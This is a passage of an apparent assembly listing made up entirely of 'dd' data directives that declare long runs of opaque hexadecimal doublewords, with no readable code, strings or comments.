7A51025Dh, 0A5B600C0h, 0D6FAE669h, 0BB3F6DB0h dd 0A29C0F53h, 0DCF3A05Dh, 0A4FEC5h, 78C28B67h, 34912F1Bh dd 2490EC7Ch, 7CE56F00h, 548626F4h, 0A1785809h, 0BA0A9B03h dd 91A0304Eh, 0E1005943h, 0F971B3C9h, 44820Fh, 3C3D6311h dd 9D68FC81h, 8060A00h, 8B8814C2h, 0B3300279h, 1B152B42h dd 0DC490061h, 0D400DC7Ah, 0F110A643h, 288E13h, 1E3BFF09h dd 31630796h, 0FBB52E00h, 264A8524h, 331F0316h, 0FA38490Fh dd 0D44E64E8h, 5C08EA04h, 0D880DFEDh, 0FB4F2h, 0BD31FD07h dd 34DC5BBEh, 0B76290A8h, 9A503500h, 47489194h, 75533D66h dd 0AAD05B00h, 0B29003F8h, 1465A724h, 7AB89A00h, 0CCE636h dd 4F85B187h, 0D8B73F28h, 9A123900h, 7D4477EBh, 18010079h dd 0EA549EE7h, 680141C5h, 8C078F84h, 0B2ECDF5Bh, 8D380C92h dd 0A0A8A6CBh, 879EBE0Fh, 0F7B6A0DCh, 0D76CA3h, 6B192B6Fh dd 454FE750h, 7D27F300h, 26AEEFACh, 8EAD01BCh, 0FEB6DBBEh dd 0B8D934F0h, 0AF43DE00h, 0E7EA6511h, 0EBC30062h, 0F7167A4Fh dd 90005398h, 74EFDE17h, 5A9D8h, 11600F1Bh, 0C43DA536h dd 2EAAC90Ch, 7AFF9835h, 6F210064h, 0B8193F56h, 1E0E1DF2h dd 40420C3Ch, 494DC257h, 0C0FC3BCDh, 6F3D5848h, 921C5500h dd 5DD26225h, 0CC7CF900h, 7D287659h, 0B5FE0784h, 71A5999Fh dd 89BBB349h, 80FAE5BEh, 0DAB9383Ch, 0E1F2DDh, 3358F5A8h dd 14C6F8EBh, 280CF37Fh, 0F081DB5Eh, 9CED02F0h, 0CB597D01h dd 0B6F87060h, 0C1C34E00h, 71D7453Dh, 0B3950E97h, 7442140Ah dd 0F080DB65h, 0EBCFAA16h, 62802A1Ch, 53DFAC07h, 2912208Fh dd 0E870542Bh, 2E50000Eh, 595AE19Dh, 25B8CF57h, 0CD7A1D00h dd 0E6901A80h, 98DD0169h, 922ADF8h, 9DBDF817h, 1C42AA0Fh dd 9BA86167h, 0B0803C19h, 5B2E77E1h, 0FE000E3Fh, 9DB875E0h dd 0D10B23h, 2F7EF890h, 54F4268Eh, 1604B312h, 9DC79001h dd 0F02045E5h, 19597Ah, 3DCBD800h, 0EB979455h, 28F4D519h dd 0EF004828h, 39005673h dd 0DAFAEDB8h, 1C0574F0h, 569A145Ah, 0C368411Eh, 40BAEC04h dd 0A26DD1DCh, 0D7EEC003h, 0B0B24C9Dh, 28754FEFh, 4894F2B3h dd 2600E1BEh, 54F9A67Ah, 623EDE37h, 0B84060C7h, 1F462FFAh dd 80F70616h, 7DA64F56h, 77046719h, 0B2E987DDh, 0BFB088C0h dd 0C9CE603Ch, 5DC74DD5h, 9ADC091Ch, 82EBFDC3h, 8611F0F1h dd 9C4C0017h, 56E3C26Ch, 9907F544h, 0CF1E1AE5h, 0E9CD0100h dd 0B50B0095h, 50D4AC03h, 0E661B676h, 7DEBDB0h, 6100844Bh dd 345D951Dh, 97002B40h, 0FDF1EC93h, 1AAB8Ch, 0E7D34E8Eh dd 0E49BF933h, 2F852600h, 29B7D198h, 7B04007Dh, 66E64C80h dd 92177FA0h, 8C40D3D5h, 0B1DDED0Ah, 0F1D600EFh, 2987C3BDh dd 711FCB55h, 96406F1Fh, 6BF97C36h, 7D67B05Eh, 246800D5h dd 0F81AA7Ah, 1907C1A5h, 0B5CE46D9h, 0F5944D3h, 0BEC83D88h dd 9FC2A32Eh, 3CC8F257h, 8407CD2Dh, 27461AC0h, 1728805Fh dd 3F80375h, 859B388h, 0D6909F6Dh, 3F00B952h, 98F3BCC0h dd 0DCAFC7h, 0FB9492A9h, 3309A180h, 4E71E009h, 473C0FB7h dd 5282C905h, 0B908900Ah, 87DF8BCBh, 0E5B0105Fh, 0B7005B53h dd 4774DFF2h, 1383E39h, 46D7ACBDh, 308DE3EBh, 790E150Eh dd 0A4AF12h, 0AEC8DD7Bh, 0D92D0133h, 0ABF9F396h, 0D83FD3EDh dd 4B0062Ah, 68785Ch, 0EB8B1203h, 0AC31B79Ah, 3F004F98h dd 0C0B9BB13h, 7C933D2Ah, 7E20A9C1h, 805EB087h, 2EEC53Ah dd 295A780Ch, 0A2004850h, 4B59345h, 0FE14B124h, 0DCD80068h dd 32666E8Bh, 0F304B486h, 0C0AF3541h, 0B2342B00h, 0F70CF665h dd 482FD950h, 1512404h, 0DB7200D8h, 0E03017F2h, 61B8652Eh dd 55E8D001h, 0F0C82C04h, 7168C3B0h, 2921E547h, 585B0861h dd 88A4BC88h, 8D91E705h, 1179CD03h, 458BA35Dh, 3D93A7B0h dd 828F9139h, 62551B53h, 0F8C0808Ah, 138592h, 0D814C5A1h dd 0C32DBE45h, 2ED5313Bh, 7202099Dh, 405C502Ch, 4C040134h dd 1220247Fh, 98C6662Ch, 2D1F4BACh, 0B598BFAh, 843C8322h dd 0F02900ADh, 0FA50FEDCh, 6100BE6Bh, 336AC620h, 79F4EEh dd 31BAA809h, 46D135BFh, 0F70069FCh, 68967EE3h, 1DFDE4B4h dd 7BDA19ACh, 0E1750900h, 3C45FC1Bh, 330C6A00h, 0F34131DFh dd 5DBC3353h, 6BA0E168h, 0AE009485h, 71C2C4F0h, 2AF75C20h dd 0F06DBCh, 0F9C62522h, 5BA0F26h, 0D1BEF800h, 7E8E39Dh dd 0CDE900B8h, 0A451D0FEh, 5778A146h, 3CB03900h, 47C952B2h dd 618900DDh, 0FD767F31h, 94A87C80h, 6009075h, 0FBBF1827h dd 94F4179Ah, 0F321009Ch, 0B66B9582h, 0B19E1C05h, 984013D2h dd 33406AEEh, 7A11C075h, 0D3BDF6D8h, 0B6CC8E00h, 0F8E6388Ch dd 0C74C002Dh, 224089BFh, 913D75F9h, 172E0FA9h, 1E820B4h dd 7E616Fh, 85186A90h, 3E0CA6D8h, 777DDF00h, 0C2E515FFh dd 2DC82403h, 7C1650h, 0C457D6A0h, 74F6FD0Ah, 240FB800h dd 0AC4C4BBBh, 0A99F00A7h, 58DA8F1h, 0ECF63F41h, 33FCE60Ah dd 302FC4Ah, 580A5691h, 7392012Ch, 34F56CC0h, 1B95D47Eh dd 8AD91306h, 1EC8A3F2h, 26D5658h, 4EB0CC51h, 30E11441h dd 95143053h, 7989679h, 3DAFA8AAh, 2445D1D0h, 169ECCAh dd 0DEA71177h, 0C30CAA71h, 7C5890CCh, 4C097646h, 6575E7h dd 3E7ACB1Bh, 5BDA07AEh, 0C039BF1Bh, 2B1C1894h, 0CE740D1Eh dd 260AF1C0h, 72C2F986h, 385A73D2h, 6B018AA1h, 0FDB19508h dd 7125C0AFh, 1CEA0700h, 4F4C9E93h, 0CD0D12A7h, 66640004h dd 82F2CBA9h, 64D07F00h, 0F6D1ACE4h, 86C500DCh, 0AE2A6C20h dd 3300D76Dh, 0EF13C779h, 5B8A50h, 0BBE4BF3Ch, 4C74EE4Eh dd 0D390A600h, 4676BA0Ch, 7EAA26AFh, 8CD981E8h, 0E782BDE4h dd 0AE6ED380h, 969A9801h, 4480B2C8h, 4A87BBF8h, 12A3F0ECh dd 0AB7AA17Bh, 8E179900h, 5630B4E2h, 33EE058Ch, 0D0D3F7BAh dd 0C539DCCCh, 321D1A00h, 6C80DE5Dh, 7A922431h, 40A79CF0h dd 0CB5FBB81h, 7000EE17h, 74EA53C9h, 31F2466h, 0EC65BDBEh dd 300701E0h, 3FE13D9h, 8A5A2D50h, 4836EE85h, 0E9006C12h dd 326A8FCFh, 0EE00F672h, 9DDAAA78h, 287F02ABh, 5840E40h dd 2187BF9Bh, 5F84C0F1h, 5900FBFFh, 9FCA5424h, 4835F5B2h dd 3600E427h, 4AD5A901h, 0F1009D2Bh, 9B61B2Eh, 0EBC4F4h dd 2E9DD93h, 2A8065ADh, 2977FE00h, 0E610C1Eh, 6BA50033h dd 45BD6DB9h, 0E9085ADBh, 25ED893h, 25FA5C89h, 6DFC4C16h dd 0A2C9D219h, 0DD8FF8E7h, 74A6BB00h, 49F010F6h, 787D0343h dd 84D15932h, 0CFA316D8h, 0A67EAE07h, 353388EDh, 0C4309049h dd 1B570083h, 0E80ACD2h, 0D6241671h, 0DD00AC87h, 3ABDB774h dd 93A98D1h, 2BE4864Fh, 0E2D80804h, 0CC5900ECh, 0D2A4C224h dd 91C0376h, 0C63DC95Eh, 0BA3A60E0h, 0E02EF00h, 0DC58DDA9h dd 6B0C1C0Ah, 422900E6h, 0A4CFD5CDh, 782B4338h, 0CE30C500h dd 5CFE177Bh, 6E920ECCh, 38A0E785h, 67C83D6h, 0A0125100h dd 7F19D75Dh, 0F77E63h, 899D305h, 0FF3A306Bh, 65F2931Dh dd 37009024h, 3C4F3FBDh, 178F6AAh, 9987E479h, 74519D41h dd 5D134058h, 84030DBAh, 0C326B74Ah, 0D52380E3h, 7E89016Eh dd 0B519853h, 53080F5h, 0F90D96DEh, 0F2AA73EBh, 218F26FBh dd 0C75902D8h, 0D300AC3Bh, 251466h, 0E27F5CAh, 0BD1110BFh dd 0DBA5D903h, 9FBBF3E4h, 0D8C6A603h, 0CD802Bh, 1A29F7EEh dd 36E29FFFh, 2DCFB402h, 21F068h, 94C226E9h, 5231C20h dd 0D6B35FDh, 98C8012Fh, 2099AE6Ah, 12242A80h, 0CE409414h dd 1CFE13Ch, 71D95F63h, 0E461B818h, 0D7B9AB9h, 983AF228h dd 7628EB00h, 781D2760h, 0C73B71ECh, 0A0934D18h, 4272C958h dd 9AB07000h, 0ACA1A93Ch, 997A0448h, 9081B7CAh, 0E8EE8420h dd 0DD919700h, 0FCF32C92h, 0A0E5000Dh, 0DC0E33FBh, 0C2009DB0h dd 28F864B2h, 71CF148Bh, 0EA4F05F1h, 0C035D553h, 0D9B99FC8h dd 16628501h, 6BF14B98h, 69D06087h, 8034B48Ah, 7B8F6F8Ch dd 0ADCDB100h, 7F3E5B54h, 0D64E0EFEh, 0C8A4CFEAh, 87CC80E5h dd 0AB73465Fh, 78222E00h, 2971290h, 0CB612D65h, 60ECC987h dd 0F9BFC94Dh, 5701937Ah, 7B8E5CD9h, 6C306AE7h, 70E0065Bh dd 493CD473h, 0EADD6109h, 268080D9h, 5C936790h, 404EBAF4h dd 2FBDD28Ch, 6E099854h, 808680EEh, 30FEE86Eh, 824000B9h dd 4531BEA8h, 227846E3h, 18FA9C07h, 5D907D67h, 4730864h dd 0C16823A4h, 495C90C7h, 0B8905BA9h, 0B53FB70Fh, 104FB751h dd 7F83E35Dh, 176E8078h, 0E0D80326h, 8ABFC20Dh, 79C459B8h dd 0AF711D00h, 0A88737A1h, 8EEA12BDh, 214400BFh, 41AECAAh dd 27395F00h, 92468BF4h, 81470049h, 7521B23h, 8C3FD7FCh dd 335F1FAFh, 6197A200h, 0FA110210h, 700B0BDEh, 7C40BFD6h dd 8E074D93h, 95532E06h, 0A000E48Ah, 789E242h, 8634008Bh dd 297F1BCFh, 74F99D33h, 8E17D0E4h, 0D060CEF4h, 941E2546h dd 602F1398h, 7223CD48h, 0A3C20301h, 5C0E9D99h, 4D623EE0h dd 2D0060C9h, 112677E6h, 1E071CBAh, 4F8BCAF0h, 3D7D9800h dd 71A40050h, 578E5E59h, 583E3893h, 614B9FBDh, 50A29640h dd 9875C595h, 84E40054h, 2D19AE58h, 0FA780B91h, 854032Ah dd 0D894DB07h, 819C6C97h, 1EE05EA9h, 21AE0034h, 19B0CB4Eh dd 454B78E8h, 35A40440h, 72D193h, 0CFEC174Fh, 0C63834ACh dd 0B0378001h, 0B2C388FEh, 6D763882h, 4C585B29h, 2CA17A00h dd 31B59A85h, 66E400DCh dd 0A072280Fh, 810924F3h, 65C8FD7Eh, 89EC644h, 0CA3E805h dd 10055875h, 1C00ECACh, 85C92582h, 0BA7500E0h, 1601F728h dd 0C802C748h, 0ABEB89B0h, 9DFCC064h, 50E10077h, 0F63017E6h dd 0DC719E6Ch, 5818E74Eh, 24937D70h, 5B7260Dh, 804D71B2h dd 35AC53BEh, 3B9C2155h, 501EFF0h, 72D43227h, 0FF94F020h dd 6EE249C0h, 63A70A15h, 0F3A6B118h, 3BE7483Eh, 33047C7Eh dd 94F51238h, 8911A1C0h, 2D311D35h, 0E4973BABh, 2A350C1Ah dd 4614F40h, 0EC672F49h, 30F12DCCh, 19018B2h, 40006ADEh dd 1378855Ah, 0FC816Eh, 3B622EDFh, 1FDD2C67h, 0DA13800h dd 3CF74501h, 0C5F000DCh, 934FFB2Ah, 290051CDh, 0ECDB6DB8h dd 0CFA6EC7h, 41820D1Bh, 123FF630h, 5D030056h, 0CA040CFEh dd 3AE80017h, 0E998D54Fh, 9A77D92Ch, 96D6C103h, 0D13DC86Bh dd 0D7204A8Eh, 8B8C0206h, 4438B4DBh, 0DEC87260h, 0EA5DA400h dd 7EBA9D6h, 5C0300CFh, 4EA8D810h, 3B00900Eh, 50453E69h dd 8E81F6h, 343CB4E8h, 0F50E1DC6h, 0F54F700h, 8CD9A07h dd 56B000EDh, 4B35F2Dh, 270BFE87h, 0E5293B10h, 20CBC9C8h dd 0AC042FE5h, 0F6DD24F1h, 125F0480h, 114CA8D9h, 4F113853h dd 43B00C4h, 4E602AF0h, 6729C8D8h, 24D1D542h, 0D2A7212Fh dd 79103B12h, 81389CFh, 8FD344E3h, 0CD212284h, 0B1118742h dd 8A321D0h, 6B90592Fh, 290F1993h, 0B90877h, 614E8B8h dd 7F23F0B7h, 0BB3DDEE8h, 0BCBD0F69h, 0B6824741h, 0CB2151EEh dd 42A28D1Ch, 0B09311D0h, 4A1EDF21h, 11E442A2h, 0F321B153h dd 90B24008h, 0AC0684F8h, 44F10744h, 0C44AD19h, 621E0742h dd 500986D0h, 0F5EA006Bh, 0DDF2534Fh, 0D84C39A5h, 2F260371h dd 8BFEEC33h, 0C3EB8959h, 0D6D27280h, 3EBBA929h, 0AE801300h dd 0C7887C92h, 0F9AB0083h, 6A0DE5A8h, 1C0F4965h, 408E747Ah dd 379A477Dh, 173E078Fh, 0B0DDDB80h, 0B0D8CAC5h, 46D2E000h dd 49B1EF03h, 977500CEh, 502599E5h, 617ACD78h, 0B7C1BFCh dd 0B78E3F00h, 6DEA0185h, 1C910FB1h, 805C735Ah, 41742DDAh dd 43008921h, 558776EFh, 6D3CEBh, 783D208Dh, 0DC758AA8h dd 1BA4E660h, 7ED8C93h, 1ECE4A10h, 0B00D207Fh, 1F009E9Bh dd 353FE2FAh, 216DADh, 0D3AE7C3Ch, 6E550CB9h, 1C5700Fh dd 80FC2BA1h, 0AD591B91h, 7D540F36h, 66609B63h, 0AB8EB4EEh dd 4CCFDF07h, 8F31C0CDh, 0A3F41579h, 1F362830h, 0DEF00C8h dd 1CCA65E9h, 0D0007F9Ch, 138E46EBh, 1E29AD56h, 806289E3h dd 818C2A23h, 0BD0038D6h, 0C95248F0h, 507E6384h, 6AB0F4h dd 4D30C24Fh, 68BA4A9h, 1B8CE91Dh, 73EE5CC0h, 39855B0h dd 0D54DD81Ah, 0A000EF5Fh, 270B3E40h, 0E59AE0Ch, 92495AC9h dd 0F54145C0h, 230099C0h, 0FEF8A2D7h, 2E9E64Bh, 0E3A96F12h dd 0A6E1322Dh, 0E1E07058h, 23018177h, 0D5FFA78Fh, 80EAF1DCh dd 41DAE0ACh, 40D35CB1h, 3CBFAD00h, 6A78615h, 8DF00304h dd 4683E86Fh, 2271005Dh, 80AF6ADh, 0F300E194h, 0D5D97D12h dd 1DA5707Ch, 40C17546h, 947242A4h, 6800EC0Dh, 7F6EAF6Ah dd 8447BBh, 111CC615h, 0C4D6940Fh, 910A4E1Ch, 30926640h dd 781CDC1h, 0FEAA6175h, 0E8E00F04h, 0DB8908Ah, 21D42F00h dd 565F0785h, 23D124F7h, 4599002Ch, 0F88E0B30h, 4EDA9A07h dd 3C174F0Ch, 1E7E42C0h, 0BE050082h, 0E33FB9D2h, 8891B8FFh dd 0E08C80B9h, 3237672Bh, 6E6B0011h, 5723B974h, 7C61120Ah dd 0B658FE18h, 448BC0D7h, 0E0F2BBh, 0AAD2E791h, 7F111D28h dd 1AAB9F37h, 21B78F60h, 58FF00FEh, 697C9D44h, 383F39A1h dd 0B235804Eh, 37D70B91h, 726807A2h, 2AEC6EE4h, 0EDF100F0h dd 0C8356C19h, 0F80E7601h, 0C9BB101Ch, 58AAEC40h, 6B3E0789h dd 3137AE0Fh, 0F848A6DFh, 0CC4C958Fh, 3FBD002Fh, 0A9B46F18h dd 8BF502ADh, 14F1377h, 0D84A6C40h, 0A6E6AB00h, 92D2BFCAh dd 28772BAh, 0A0ED9C8Ah, 0FE808BE4h, 0BE28555Ch, 3FC17600h dd 4AF6FA9h, 90463B96h, 7ABC7E00h, 722BDA78h, 891C2103h dd 0F7D36268h, 8E0A7400h, 0ABCDE636h, 7BDF0ACh, 88909Bh dd 0F94957FEh, 0FD7C701h, 0D0099E6h, 0D1C69F6Fh, 9B12DA9h dd 91BF7084h, 649D5CB8h, 2AC48B00h, 900F89B2h, 0AB5E0166h dd 5563A0B1h, 2F99E0C7h, 7153DF03h, 805A4CB0h, 4CAA949Bh dd 7B0218A7h, 0E57E49BAh, 0DC771061h, 0DE38F822h, 0F1A660C4h dd 0A31CADh, 1247F586h, 0BCC07982h, 853E9BEAh, 0F24F83F9h dd 0F0A74054h, 0BD470FEh, 69B9FB97h, 0B2801200h, 6A00737Ch dd 29DBAA8h, 9A25D15h, 0EFAD9722h, 8624BC00h, 10027585h dd 36171E9h, 0C2E868F9h, 0D1B30047h, 39AE2C2Bh, 5E000419h dd 4AF1EE67h, 7D8F74Eh, 0C1DE37A5h, 0B439F09Dh, 31248A79h dd 3604BCC2h, 5CD060BEh, 0B58062h, 1689C599h, 9FA9A85Eh dd 40B2EA03h, 0D11B9BAAh, 0D0302A51h, 58790090h, 0FE2F61F5h dd 0B490CAEDh, 9B0A9C79h, 98269272h, 0CD023F80h, 0D1A7EAh dd 4F0E1578h, 1323599Eh, 9DC88F00h, 7BB62FE8h, 0E02D3D45h dd 3CEC1B80h, 42F693C6h, 8E86FE00h, 0FFADBD16h, 335A03EFh dd 0C62C29D4h, 48B0C28Bh, 2100CF47h, 0B1DE42Ah, 11AE1Ah dd 0A241579Ah, 4C3C7D97h, 2BEF7100h, 5AF50794h, 2FEC0090h dd 26F4932Ch, 449004C4h, 1400157Ch, 9FA1585Ch, 7CFC97h dd 558C5EFEh, 2BA6BC3h, 0B7801816h, 0EBB19100h, 183CE87h dd 56F3FB74h, 0D598AE39h, 25A6C44Bh, 25B7C3Fh, 1F528DCAh dd 0AF4CC007h, 3CF20036h, 28EE20B3h, 0C7721087h, 30FAEC00h dd 2BE1F5FFh, 865D58E4h, 1E601500h, 549076Fh, 53EC5802h dd 0E2D4BEEEh, 0C3E6040h, 9FB0CFh, 29B9C608h, 6AC80B92h dd 2F092C73h, 80F76EFBh, 1317BF30h, 5BCD0979h, 38801A96h dd 0C0808205h, 353A061Dh, 0E3F28340h, 9158F46Ah, 2EBA664h dd 0B40F320Ch, 0D4A71D60h, 1D07D7F4h, 29C78EF9h, 633D22F0h dd 3FBC004Ah, 35CAF233h, 0C102628Fh, 28CAB90h, 5765E0E6h dd 0EA160337h, 78793366h, 51A60EC0h, 0D05EC07h, 10D0A818h dd 0CA7309h, 411A991Eh, 281FD5EFh, 7C9A3B0Fh, 0C5DA4048h dd 37CCF971h, 20682790h, 0A6A047C6h, 0FCFE0303h, 0B8E06D88h dd 24CFA96h, 0F5516E12h, 68600726h, 0C30070D2h, 0D762CE7Eh dd 533A6Ah, 3512523Fh, 1C0C3805h, 0E4256800h, 9E5640EDh dd 0A279058h, 2EBC47F7h, 0C51680DCh, 0B3729112h, 68200926h dd 6B031D24h, 0F04B0B6Fh, 242CD5h, 4A0FEF75h, 0FE1883CCh dd 4D2DEB00h, 0EA92530Dh, 12709856h, 3299B0E1h, 3E606990h dd 9005885h, 1E6AFA44h, 3F7D6207h, 0A38056C3h, 0ED78496h dd 7E3D81DDh, 7E7BB16h, 2A223024h, 13AB8F80h, 86E6078Ch dd 7FF39047h, 0E9F0A140h, 0AF004D1Eh, 0AA73EC71h, 37F13Dh dd 2F29E17Bh, 62B57960h, 0E7E87401h, 0B19CCD04h, 320DDE4h dd 65A643AFh, 7B902AD2h, 8004C6B3h, 5A2D9F0Ch, 0ABB11EC0h dd 0D40E1696h, 0D23F00A9h, 1FC22038h, 7C780A3Ah, 651AA100h dd 5AFC9372h, 39A00069h, 6D5F28F9h, 5477B343h, 50443Fh dd 0D2D815AFh, 2EA149Dh, 0FB257201h, 0A44005BBh, 5E009203h dd 4A7C1798h, 726C7B84h, 564302A2h, 3DA95A9Ch, 1331D880h dd 0C70070D0h, 2C63CA7Ah, 1F492361h, 0DE1A4A37h, 8D0F4B11h dd 879FE804h, 7E0EB2A4h, 2ABDE10h, 6EED02F2h, 48C805BFh dd 28FAADF4h, 62D7C004h dd 8CA0F9A3h, 0C65C09F0h, 5884154Eh, 5F32C0BFh, 4A179368h dd 8A07915Dh, 0DD906B12h, 90093A4Bh, 7E65F4C4h, 0FB3C0047h dd 2608C157h, 0AE145F31h, 1CDCC769h, 3800E9B8h, 72F8F041h dd 0EEA3004Ch, 80293A30h, 3018D23h, 74C03B31h, 98FF2519h dd 8A4290h, 0C5D3A6BCh, 83042346h, 0AFDC6C00h, 2C859C6Ah dd 0A11C00EAh, 0E943F655h, 9F00D83Ch, 0F577F44h, 5C1E754Dh dd 70F2D64h, 2380BB2Fh, 76530C7Bh, 30FB73FAh, 524C35B5h dd 0A62E7925h, 0B68310C4h, 0CB8EBE83h, 88E6D8EBh, 0D08C00F1h dd 4879C477h, 0AA003C41h, 9503AC62h, 58689B5Bh, 66C08482h dd 5E07C64Ch, 77AC2548h, 2B74E22h, 41C8956Ah, 0B4A05BD1h dd 44ACE54Dh, 989FFE3Ah, 0E819E76Dh, 67500D6h, 0C6232282h dd 9800B072h, 0AAFB3EDh, 5E6907h, 0B42FFBFDh, 65E1E61Bh dd 3DBD401Eh, 4CADDC0h, 0EBF51436h, 8880AA21h, 95251F9Bh dd 8600D964h, 0DF535BAAh, 7ECB0DF5h, 71D800E3h, 9BA55C7Fh dd 80412B6h, 4AB87532h, 0B2E06780h, 0FB0509F2h, 18008CC2h dd 2CA3E8B9h, 7F982307h, 0C970D6D0h, 0E297F1h, 0F683ED9Fh dd 479EF4EEh, 4D875100h, 0ABEF4BA0h, 51BBF60Ch, 8841EB7Ch dd 24650A9Bh, 0FD32F0h, 0E52AE4F3h, 0D304CEDBh, 7FB52100h dd 478B89B8h, 0F25F1FE8h, 0D9A4C0B2h, 0C28FC0ABh, 0E9A8821Eh dd 7904F741h, 88209EA3h, 0F57192h, 0E41EB93Fh, 2296F459h dd 0D3373C03h, 0B0FEEF2Eh, 287906h, 959877CCh, 75DF564Ch dd 8FE5493Dh, 0A002F8B6h, 0E607AEB8h, 65AF0043h, 0D92D4ED0h dd 21015F6Ah, 71AC8CBAh, 0B4409D58h, 0C7D3FAh, 0BC7D960Dh dd 0EECEE37Ch, 5EB9940Bh, 12CE0056h, 2ECB27EFh, 1F6454FAh dd 48D8C022h, 3C4BE30Eh, 0D24725h, 0AD84B6E4h, 3FEF00A1h dd 327CE930h, 9D00BC93h, 0C5D29A0Ah, 3823AE05h, 15B0620Eh dd 6F2D5D11h, 4CB9E100h, 19AC4651h, 37707F65h, 27585015h dd 8E1B10C2h, 0D0255E44h, 895C00FEh, 1F2017D6h, 0C0FF7E33h dd 0ED596DB7h, 3500A3D8h, 745A8CB9h, 3B9BB0D7h, 0F793C83Eh dd 38040017h, 395D08A7h, 0F45CB600h, 2A8AC5AEh, 21EA00D0h dd 0D19D66B8h, 0AA0036ECh, 64BDB7AFh, 0A6AB8Eh, 0B8652720h dd 89214BFCh, 0D5A2F314h, 0EF6C00ABh, 0C0F54F40h, 681E039Ch dd 0D1D4692Bh, 63E4EAF0h, 40030B8h, 0C9946B4Ah, 71D2FB55h dd 98B70354h, 50E9780Eh, 0FAE9088h, 90086EEh, 0CD4D6156h dd 24A1B11h, 20C044E9h, 0BCE081BBh, 4B01A668h, 61EBF1Fh dd 38E8DA8Fh, 96270035h, 91ADA96Eh, 0FF00EE29h, 0E1C8F43Bh dd 0F94111h, 335426ECh, 981F2F6Dh, 0B5647600h, 504A8214h dd 0D4FEB7h, 0CCEFC185h, 2F336815h, 0CEA7E801h, 554598F4h dd 389020h, 53D1694h, 304E27A3h, 0A26AB000h, 0C2A8D4B9h dd 217683h, 85DDBFCCh, 0C81395AEh, 33FD33Ah, 737AA4A9h dd 445398AFh, 1AA2018Ah, 215452FDh, 6B2BC03Ch, 0EBB68913h dd 0EA427F00h, 1FF34FA9h, 0C00B180Fh, 936E259h, 7169C76h dd 6A075F50h, 26C05CBDh, 4A952EC5h, 0BFC01E8Ch, 0FB364680h dd 91BC3A33h, 991C0107h, 8BF0DD7Ah, 0C1B8Ch, 0B8B96DEDh dd 0F1C193DBh, 77BF281Fh, 92624880h, 6065FD6Fh, 0D04660EFh dd 0B61EBBCEh, 0AA1E9DF6h, 5FF77B03h, 0DE2100D5h, 0A0654FC8h dd 81C04843h, 3510A459h, 0F89700B4h, 0F4395BEEh, 0D400757Ah dd 76901B12h, 7F8C2DD9h, 0B8400089h, 78BCF4A3h, 6500A85Bh dd 0C6ADFE85h, 0BF7D6Dh, 0CECCBBE2h, 6F155A5Eh, 0C97C7200h dd 0AC206733h, 4AF7002Bh, 57E83EB0h, 7078D61h, 0AB05C87Bh dd 76E11670h, 0A0F8024Eh, 0B30840CBh, 0E23C5060h, 47AA7A00h dd 0F64587EBh, 0A8E7004Eh, 1DEFE6B1h, 7C3E0604h, 0C7580065h dd 7D80CCB2h, 0C6D4007Bh, 91BE4366h, 0CD007075h, 850AEEA2h dd 354D26h, 0B951148h, 0E553B8D8h, 37001CB4h, 7664690Dh dd 4CA900C6h, 0CC4680E6h, 0C001219Fh, 72ADAC2Fh, 0D070CE1Eh dd 0F8420E0Ch, 40D8FFBBh, 400922Fh, 159FE8DCh, 94AE06h dd 50F64359h, 4275A73Ch, 95184A00h, 41A22512h, 73C112AFh dd 0E70400B0h, 9C4921E9h, 428E05Dh, 0F89FAA72h, 6517CEC0h dd 6D70162h, 0E4505E6Ah, 0B701C0E3h, 0DC1140C0h, 26D10EBh dd 82155AFh, 97409939h, 232429D7h, 0B1002480h, 3C78A585h dd 3A1498EBh, 0F76233h, 0DDB2E481h, 27F7E22Bh, 87BC3907h dd 6EA04553h, 0FE4757B8h, 9DF800EAh, 9E77BDCEh, 97A08A3Ch dd 0AB902881h, 49DE3000h, 0FF8F9086h, 59873EFh, 0B3136604h dd 0F1278046h, 0B20016F5h, 0EE7105B5h, 8E74B1h, 72F06590h dd 0DA28BEBCh, 51A25C12h, 0D39CEA00h, 217B92h, 745084Ah dd 54C9162Ch, 0C6052F00h, 0B5279118h, 0D39B1655h, 32B500BCh dd 1B4B77E7h, 0F5236C05h, 0EC010853h, 80B67A6Bh, 142864D9h dd 809A541Ch, 42F43EABh, 0EF0325B1h, 37FB192Fh, 2262A859h dd 49340144h, 321F311Bh, 1466FC72h, 0C8747805h, 90839B13h dd 965D002h, 60FDD2h, 551FC6Bh, 680AF56h, 171EC231h, 8C1348E0h dd 15D08804h, 20809E73h, 0E05A3263h, 25680024h, 0FB189CAAh dd 572EE441h, 0DC802C4Dh, 0E77FEA10h, 8F0B056Dh, 0C35056ABh dd 0DDF06AF2h, 7E00F638h, 4EA8D67Bh, 58BBA36h, 0AF197D91h dd 6A548008h, 6164BF8h, 0FC47EA47h, 0AA20A7DAh, 0C08DBCh dd 0AD90AB84h, 0DEC8757Ch, 0DF1DC590h, 24C30FC9h, 0B0B066B6h dd 59A5C9Eh, 91CBFA18h, 88D48038h, 920BF302h, 20E02749h dd 900BDF80h, 0FD1F0191h, 0F0A6D345h, 8CB5FCFEh, 16341004h dd 0A881B6EAh, 9EF4A785h, 0D36A04C4h, 819209D1h, 0C876DD50h dd 56E40FDBh, 68687124h, 209A8039h, 0F53AECE7h, 12D800CBh dd 4528D362h, 5A3C21F9h, 6995803Dh, 4BC0E866h, 97A30E2Ch dd 0CD0016EDh, 301288B0h, 69590200h, 0A74DF14Fh, 57010018h dd 73526F55h, 6384AA4h, 110880B7h, 5A482C9Fh, 988F001Ah dd 0A44FAF67h, 0ED385B33h, 46828058h, 0BB3D5619h, 880D00F6h dd 0BFEB9EAAh, 0E6EAAB47h, 0F5FF8A07h, 39A7B62Dh, 0C4F16BE0h dd 6486009Ch, 0D13AB4E3h, 2F1D8F38h, 2010DC5h, 0C9A1F950h dd 0F8A1420h, 0BE99EA9Dh, 0CE4C8BC0h, 8F0292A7h, 5BCB75DDh dd 0ADA640D1h, 9FC90057h, 0D7185D16h, 0AC0078CAh, 94520E3Eh dd 1E25C8AEh, 7B39F5C7h, 0E72FC280h, 7AE9950Ah, 2CC1B000h dd 6B36B3BBh, 2AEE30h, 0AE51861Fh, 0F89EFB3Fh, 0F4F45Ch dd 13DC5C02h, 0FD4D32h, 893B108Dh, 4C454FA7h, 80950126h dd 312AD000h, 3CC3A1h, 0CAF9D1Dh, 1697F605h, 7DEFF300h dd 0E5DAD87Fh, 89B000ADh, 0E69D3313h, 84001BFAh, 6D62E3D1h dd 54CC5C9h, 45369560h, 52F0C3B4h, 0C6AA84E8h, 0EF90AC9Ah dd 58C17600h, 4F8EB354h, 2B9F0E59h, 0C500273Fh, 3CBFB781h dd 97DB3012h, 28CD411h, 8A093346h, 69056088h, 1683041Bh dd 0C01F0121h, 82B06214h, 